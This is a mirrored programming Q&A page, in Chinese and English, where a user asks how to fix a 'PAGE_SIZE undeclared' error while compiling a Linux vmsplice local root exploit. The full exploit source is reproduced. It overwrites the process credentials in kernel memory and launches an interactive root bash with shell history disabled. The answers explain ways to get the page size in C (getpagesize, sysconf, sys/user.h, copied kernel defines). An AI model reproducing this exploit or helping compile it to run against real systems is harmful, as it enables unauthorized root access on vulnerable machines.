简体   繁体   English

PAGE_SIZE未声明的C.

[英]PAGE_SIZE undeclared C

I am having some issues compiling / fixing a script due to the fact I am not well versed in the C language. 由于我不熟悉C语言,因此我在编译/修复脚本时遇到了一些问题。

I would appreciate some help fixing the issues! 我很感激帮助修复这些问题!

I get the following errors: 我收到以下错误:

 error: 'PAGE_SIZE' undeclared (first use in this function) pages[0] = *(void **) &(int[2]){0,PAGE_SIZE}; 

This error is because PAGE_SIZE is set within asm/page.h (as far as I am aware) 此错误是因为PAGE_SIZE在asm / page.h中设置(据我所知)

the code is below and from https://www.exploit-db.com/exploits/5092/ 代码如下,来自https://www.exploit-db.com/exploits/5092/

   #define _GNU_SOURCE
    #include <stdio.h>
    #include <errno.h>
    #include <stdlib.h>
    #include <string.h>
    #include <malloc.h>
    #include <limits.h>
    #include <signal.h>
    #include <unistd.h>
    #include <sys/uio.h>
    #include <sys/mman.h>
//    #include <asm/page.h> 
// ^^ this was originally causing me issues, due to the fact this is compiled
//within the kernel 
    #define __KERNEL__
    #include <asm/page.h> //moving it here fixed location error, but now I get the new issue
    #include <asm/unistd.h>

    #define PIPE_BUFFERS    16
    #define PG_compound 14
    #define uint        unsigned int
    #define static_inline   static inline __attribute__((always_inline))
    #define STACK(x)    (x + sizeof(x) - 40)

    struct page {
        unsigned long flags;
        int count;
        int mapcount;
        unsigned long private;
        void *mapping;
        unsigned long index;
        struct { long next, prev; } lru;
    };

    void    exit_code();
    char    exit_stack[1024 * 1024];

    void    die(char *msg, int err)
    {
        printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
        fflush(stdout);
        fflush(stderr);
        exit(1);
    }

    #if defined (__i386__)

    #ifndef __NR_vmsplice
    #define __NR_vmsplice   316
    #endif

    #define USER_CS     0x73
    #define USER_SS     0x7b
    #define USER_FL     0x246

    static_inline
    void    exit_kernel()
    {
        __asm__ __volatile__ (
        "movl %0, 0x10(%%esp) ;"
        "movl %1, 0x0c(%%esp) ;"
        "movl %2, 0x08(%%esp) ;"
        "movl %3, 0x04(%%esp) ;"
        "movl %4, 0x00(%%esp) ;"
        "iret"
        : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
            "i" (USER_CS), "r" (exit_code)
        );
    }

    static_inline
    void *  get_current()
    {
        unsigned long curr;
        __asm__ __volatile__ (
        "movl %%esp, %%eax ;"
        "andl %1, %%eax ;"
        "movl (%%eax), %0"
        : "=r" (curr)
        : "i" (~8191)
        );
        return (void *) curr;
    }

    #elif defined (__x86_64__)

    #ifndef __NR_vmsplice
    #define __NR_vmsplice   278
    #endif

    #define USER_CS     0x23
    #define USER_SS     0x2b
    #define USER_FL     0x246

    static_inline
    void    exit_kernel()
    {
        __asm__ __volatile__ (
        "swapgs ;"
        "movq %0, 0x20(%%rsp) ;"
        "movq %1, 0x18(%%rsp) ;"
        "movq %2, 0x10(%%rsp) ;"
        "movq %3, 0x08(%%rsp) ;"
        "movq %4, 0x00(%%rsp) ;"
        "iretq"
        : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
            "i" (USER_CS), "r" (exit_code)
        );
    }

    static_inline
    void *  get_current()
    {
        unsigned long curr;
        __asm__ __volatile__ (
        "movq %%gs:(0), %0"
        : "=r" (curr)
        );
        return (void *) curr;
    }

    #else
    #error "unsupported arch"
    #endif

    #if defined (_syscall4)
    #define __NR__vmsplice  __NR_vmsplice
    _syscall4(
        long, _vmsplice,
        int, fd,
        struct iovec *, iov,
        unsigned long, nr_segs,
        unsigned int, flags)

    #else
    #define _vmsplice(fd,io,nr,fl)  syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
    #endif

    static uint uid, gid;

    void    kernel_code()
    {
        int i;
        uint    *p = get_current();

        for (i = 0; i < 1024-13; i++) {
            if (p[0] == uid && p[1] == uid &&
                p[2] == uid && p[3] == uid &&
                p[4] == gid && p[5] == gid &&
                p[6] == gid && p[7] == gid) {
                p[0] = p[1] = p[2] = p[3] = 0;
                p[4] = p[5] = p[6] = p[7] = 0;
                p = (uint *) ((char *)(p + 8) + sizeof(void *));
                p[0] = p[1] = p[2] = ~0;
                break;
            }
            p++;
        }   

        exit_kernel();
    }

    void    exit_code()
    {
        if (getuid() != 0)
            die("wtf", 0);

        printf("[+] root\n");
        putenv("HISTFILE=/dev/null");
        execl("/bin/bash", "bash", "-i", NULL);
        die("/bin/bash", errno);
    }

    int main(int argc, char *argv[])
    {
        int     pi[2];
        size_t      map_size;
        char *      map_addr;
        struct iovec    iov;
        struct page *   pages[5];

        uid = getuid();
        gid = getgid();
        setresuid(uid, uid, uid);
        setresgid(gid, gid, gid);

        printf("-----------------------------------\n");
        printf(" Linux vmsplice Local Root Exploit\n");
        printf(" By qaaz\n");
        printf("-----------------------------------\n");

        if (!uid || !gid)
            die("!@#$", 0);

        /*****/
        pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
        pages[1] = pages[0] + 1;

        map_size = PAGE_SIZE;
        map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
                        MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (map_addr == MAP_FAILED)
            die("mmap", errno);

        memset(map_addr, 0, map_size);
        printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
        printf("[+] page: 0x%lx\n", pages[0]);
        printf("[+] page: 0x%lx\n", pages[1]);

        pages[0]->flags    = 1 << PG_compound;
        pages[0]->private  = (unsigned long) pages[0];
        pages[0]->count    = 1;
        pages[1]->lru.next = (long) kernel_code;

        /*****/
        pages[2] = *(void **) pages[0];
        pages[3] = pages[2] + 1;

        map_size = PAGE_SIZE;
        map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
                        MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (map_addr == MAP_FAILED)
            die("mmap", errno);

        memset(map_addr, 0, map_size);
        printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
        printf("[+] page: 0x%lx\n", pages[2]);
        printf("[+] page: 0x%lx\n", pages[3]);

        pages[2]->flags    = 1 << PG_compound;
        pages[2]->private  = (unsigned long) pages[2];
        pages[2]->count    = 1;
        pages[3]->lru.next = (long) kernel_code;

        /*****/
        pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
        map_size = PAGE_SIZE;
        map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
                        MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (map_addr == MAP_FAILED)
            die("mmap", errno);
        memset(map_addr, 0, map_size);
        printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
        printf("[+] page: 0x%lx\n", pages[4]);

        /*****/
        map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
        map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
                        MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (map_addr == MAP_FAILED)
            die("mmap", errno);

        memset(map_addr, 0, map_size);
        printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

        /*****/
        map_size -= 2 * PAGE_SIZE;
        if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
            die("munmap", errno);

        /*****/
        if (pipe(pi) < 0) die("pipe", errno);
        close(pi[0]);

        iov.iov_base = map_addr;
        iov.iov_len  = ULONG_MAX;

        signal(SIGPIPE, exit_code);
        _vmsplice(pi[1], &iov, 1, 0);
        die("vmsplice", errno);
        return 0;
    }

    // milw0rm.com [2008-02-09]

PAGE_SIZE is only declared in the kernel headers. PAGE_SIZE仅在内核头文件中声明。 You can get the current page size from userland using getpagesize() from unistd.h though, eg 您可以使用来自unistd.h getpagesize()从userland获取当前页面大小,例如

#include <unistd.h>
int main() {
    size_t psize = getpagesize();
}

Using a compile-time constant for the page size of your system is typically not a smart thing to do, as it's not necessarily constant. 对系统的页面大小使用编译时常量通常不是一件明智的事情,因为它不一定是常量。 For example, on the latest x86 CPUs, your operating system can choose between using 4 KiB, 2 MiB and even 1 GiB pages (or even combine them in the same address space). 例如,在最新的x86 CPU上,您的操作系统可以选择使用4 KiB,2 MiB甚至1 GiB页面(甚至可以将它们组合在同一地址空间中)。 For this reason, POSIX hasn't standardized the PAGE_SIZE constant. 因此,POSIX没有标准化PAGE_SIZE常量。

Many systems therefore provide a getpagesize() function, but keep in mind that the POSIX standardized way of obtaining the page size is by using the sysconf() function: 因此,许多系统提供了getpagesize()函数,但请记住,POSIX标准化的获取页面大小的方法是使用sysconf()函数:

#include <stdio.h>
#include <unistd.h>
int main() {
  printf("%lu\n", sysconf(_SC_PAGESIZE));
}

On my Mac, this program prints the number 4096. 在我的Mac上,此程序打印数字4096。

For me 为了我

#include <sys/user.h>

does the trick. 诀窍。 The file is part of glibc-headers. 该文件是glibc-headers的一部分。

Heylo. Heylo。 I had similar trouble compiling the excellent memfetch tool by the veritable techie and fellow countryman Michael Zalewski. 我在为名副其实的技术人员和同胞Michael Zalewski编写优秀的memfetch工具时遇到了类似的麻烦。 Anyway after getting sick of messing around with the problem and searches that led to no answers (like this post, for example), I solved my problem. 无论如何在厌倦了解决问题和搜索导致没有答案(例如这篇文章)后,我解决了我的问题。

I took this straight from the asm/page.h file: 我直接从asm / page.h文件中获取了这个:

    /* PAGE_SHIFT determines the page size */

    #define PAGE_SHIFT      12
    #ifdef __ASSEMBLY__
    #define PAGE_SIZE       (1 << PAGE_SHIFT)
    #else
    #define PAGE_SIZE       (1UL << PAGE_SHIFT)
    #endif
    #define PAGE_MASK       (~(PAGE_SIZE-1))

And I dropped it into the C file that needed compiling. 然后我将它放入需要编译的C文件中。 In this case, memfetch.c I dropped it in right after the includes, in with the code's own set of DEFINEs. 在这种情况下,memfetch.c我在包含之后将其删除,使用代码自己的一组DEFINE。 Worked like a charm and the program - a memory mapper seems to be working great. 工作就像一个魅力和程序 - 记忆映射器似乎工作得很好。 I've just done it - can't say yet if for example the pages or mem values are off or anything. 我刚刚完成了 - 还不能说是否例如页面或mem值是关闭的还是其他任何东西。

Note - Go grab your own asm/page.h defines. 注意 - 去抓取你自己的asm / page.h定义。 Actually I think they were in asm-generic/page.h Dunno if they are diff; 实际上我认为他们是asm-generic / page.h Dunno如果他们是差异的话; most certainly are on an x86_64. 肯定是在x86_64上。

Good luck! 祝好运!

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM